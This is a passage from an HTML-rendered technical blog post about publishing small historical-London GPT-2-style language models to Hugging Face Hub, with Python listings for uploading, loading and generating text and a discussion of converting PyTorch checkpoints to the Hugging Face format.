&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Demo mode with curated historical prompts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type slm --demo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 8: Hugging Face Model Inference&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;We&amp;rsquo;ve tested both paths extensively. The published SLM loads in about 9 seconds on a GPU, generates text in under 6 seconds, and passes all 10 automated validation tests. The unified inference script provides clean logging, proper model detection, and accurate parameter counts - small details that make a big difference when debugging or demonstrating the models.&lt;/p&gt;
&lt;h3 id=&#34;42-publishing-to-hugging-face-hub&#34;&gt;4.2 Publishing to Hugging Face Hub&lt;/h3&gt;
&lt;p&gt;Publishing to Hugging Face Hub makes our models accessible to the broader community without requiring anyone to clone our repository or set up a training environment. The process involves converting our PyTorch checkpoints to the Hugging Face format, creating a model card with documentation, and uploading everything to the Hub.&lt;/p&gt;
&lt;p&gt;The publishing workflow is handled by scripts in &lt;strong&gt;&lt;code&gt;10_scripts/&lt;/code&gt;&lt;/strong&gt; - specifically &lt;strong&gt;&lt;code&gt;publish_slm_to_huggingface.py&lt;/code&gt;&lt;/strong&gt; for the SLM and &lt;strong&gt;&lt;code&gt;publish_to_huggingface.py&lt;/code&gt;&lt;/strong&gt; for the Regular Model. &lt;a href=&#34;#listing9&#34; class=&#34;listing-ref&#34;&gt;Listing 9&lt;/a&gt; shows the core publishing flow: authenticate with the Hub, create (or reuse) a repository, save the model and tokenizer locally in Hugging Face format, upload the folder, and generate a model card.&lt;/p&gt;
&lt;figure id=&#34;listing9&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;publish_to_huggingface&lt;/span&gt;(model, tokenizer, model_name, description, tags):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Publish model to Hugging Face Hub&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;huggingface_hub&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; HfApi
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    api &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; HfApi()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create model repository&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    repo_id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    api&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;create_repo(repo_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;repo_id, exist_ok&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save model and tokenizer locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./models/&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./models/&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Upload to Hub&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    api&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;upload_folder(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        folder_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;./models/&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model_name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        repo_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;repo_id,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        commit_message&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Initial model upload&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate and upload model card (README.md)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model_card &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; generate_model_card(model_name, description, tags)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    api&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;upload_file(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        path_or_fileobj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;model_card,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        path_in_repo&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;README.md&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        repo_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;repo_id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; repo_id&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 9: Hugging Face Publishing&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The &lt;code&gt;generate_model_card()&lt;/code&gt; function creates the &lt;strong&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/strong&gt; that appears on the Hugging Face model page. This includes model description, architecture details, training data sources, usage examples, and limitations. You can see the live model cards at &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-slm
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		bahree/london-historical-llm
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;#listing10&#34; class=&#34;listing-ref&#34;&gt;Listing 10&lt;/a&gt; shows how to load and use the published models:&lt;/p&gt;
&lt;figure id=&#34;listing10&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoTokenizer, AutoModelForCausalLM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;torch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the published model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model_name &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/london-historical-slm&amp;#34;&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# or &amp;#34;bahree/london-historical-llm&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Move to GPU if available&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cuda&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cpu&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate historical text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inputs[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;input_ids&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    max_new_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    do_sample&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temperature&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.8&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    top_p&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.95&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    repetition_penalty&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1.2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(outputs[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;], skip_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 10: Loading Models from Hugging Face Hub&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;43-publishing-workflow&#34;&gt;4.3 Publishing Workflow&lt;/h3&gt;
&lt;p&gt;If you want to publish your own trained model to Hugging Face Hub, here&amp;rsquo;s the workflow we followed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Set up authentication&lt;/strong&gt;: Install &lt;code&gt;huggingface_hub&lt;/code&gt; and authenticate with a token that has Write permissions. You can generate tokens at &lt;a
	
		href = &#34;https://huggingface.co/settings/tokens&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		huggingface.co/settings/tokens
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert the checkpoint&lt;/strong&gt;: PyTorch training checkpoints include optimizer states and training metadata that aren&amp;rsquo;t needed for inference. The conversion scripts extract just the model weights and translate them to Hugging Face&amp;rsquo;s naming conventions (covered in detail in Section 5).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Prepare the tokenizer&lt;/strong&gt;: Save the tokenizer files alongside the model. Our custom tokenizer with 30,000 tokens and 150+ historical special tokens needs to be converted to the &lt;code&gt;transformers&lt;/code&gt; library format.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generate a model card&lt;/strong&gt;: The &lt;strong&gt;&lt;code&gt;README.md&lt;/code&gt;&lt;/strong&gt; on your Hugging Face model page serves as documentation. Include model architecture details, training data sources, usage examples, evaluation results, and limitations. The scripts generate this automatically, but you should review and customize it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Upload and validate&lt;/strong&gt;: Push everything to the Hub, then immediately test with &lt;code&gt;from_pretrained()&lt;/code&gt; to ensure the published model loads and generates correctly.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📝 Full documentation&lt;/strong&gt;: See &lt;strong&gt;&lt;code&gt;08_documentation/HUGGINGFACE_PUBLISHING.md&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;08_documentation/DEPLOYMENT_GUIDE.md&lt;/code&gt;&lt;/strong&gt; in the repository for the complete step-by-step workflow with troubleshooting guidance.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;5-pytorch-to-hugging-face-format-conversion&#34;&gt;5. PyTorch to Hugging Face Format Conversion&lt;/h2&gt;
&lt;h3 id=&#34;51-why-format-conversion-is-necessary&#34;&gt;5.1 Why Format Conversion is Necessary&lt;/h3&gt;
&lt;p&gt;During training, our models are saved in PyTorch&amp;rsquo;s native &lt;code&gt;.pt&lt;/code&gt; format. These checkpoints include everything needed to resume training: model weights, optimizer states, learning rate schedules, and training metadata. However, for deployment and sharing, we need a leaner, inference-optimized format compatible with the broader machine learning ecosystem.&lt;/p&gt;
&lt;p&gt;Think of it like the difference between a development environment and a production deployment: training checkpoints are like a developer&amp;rsquo;s workspace with all the tools and intermediate files, while Hugging Face format is like a clean, standardized package that anyone can use without understanding the internal training details.&lt;/p&gt;
&lt;p&gt;The Hugging Face Hub expects models to follow specific file structures, naming conventions, and metadata requirements. The conversion process extracts just the model weights (discarding optimizer states and training metadata), translates weight names to match Hugging Face conventions, creates proper configuration files, and ensures the tokenizer is compatible with the &lt;code&gt;transformers&lt;/code&gt; library.&lt;/p&gt;
&lt;h3 id=&#34;52-the-conversion-process&#34;&gt;5.2 The Conversion Process&lt;/h3&gt;
&lt;p&gt;The conversion handles several transformations to bridge PyTorch and Hugging Face formats:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Weight name mapping&lt;/strong&gt;: PyTorch layer names like &lt;code&gt;transformer.h.0.attn.c_attn.weight&lt;/code&gt; become Hugging Face names like &lt;code&gt;transformer.h.0.attn.c_attn.weight&lt;/code&gt; (mostly the same for GPT-2, but with careful handling of edge cases)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic torch.compile handling&lt;/strong&gt;: If you used &lt;code&gt;torch.compile()&lt;/code&gt; during training, weights get prefixed with &lt;code&gt;_orig_mod.&lt;/code&gt; - the conversion strips these prefixes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Configuration translation&lt;/strong&gt;: Model hyperparameters (n_layer, n_head, n_embd, etc.) are mapped to Hugging Face&amp;rsquo;s &lt;code&gt;config.json&lt;/code&gt; format&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tokenizer conversion&lt;/strong&gt;: Our custom 30,000-token vocabulary with 150+ historical special tokens is converted to &lt;code&gt;transformers&lt;/code&gt; library format&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validation&lt;/strong&gt;: After conversion, we verify that the model loads correctly and produces expected outputs&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💻 Full Implementation&lt;/strong&gt;: See &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/10_scripts/publish_slm_to_huggingface.py&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;&lt;code&gt;10_scripts/publish_slm_to_huggingface.py&lt;/code&gt;&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt; for the complete conversion pipeline with error handling, validation, and model card generation.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;53-dependencies-for-hugging-face-integration&#34;&gt;5.3 Dependencies for Hugging Face Integration&lt;/h3&gt;
&lt;p&gt;The Hugging Face integration requires specific dependencies and follows established patterns for model publishing and usage: &lt;a href=&#34;#listing11&#34; class=&#34;listing-ref&#34;&gt;Listing 11&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&#34;listing11&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Required dependencies for Hugging Face integration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;huggingface_dependencies &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;gt;=4.21.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;torch&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;gt;=1.12.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;tokenizers&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;gt;=0.12.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;safetensors&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;gt;=0.3.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;accelerate&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;gt;=0.20.0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;huggingface_hub&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;gt;=0.10.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Model loading and usage example&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;load_published_model&lt;/span&gt;(model_name&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/london-historical-slm&amp;#34;&lt;/span&gt;):
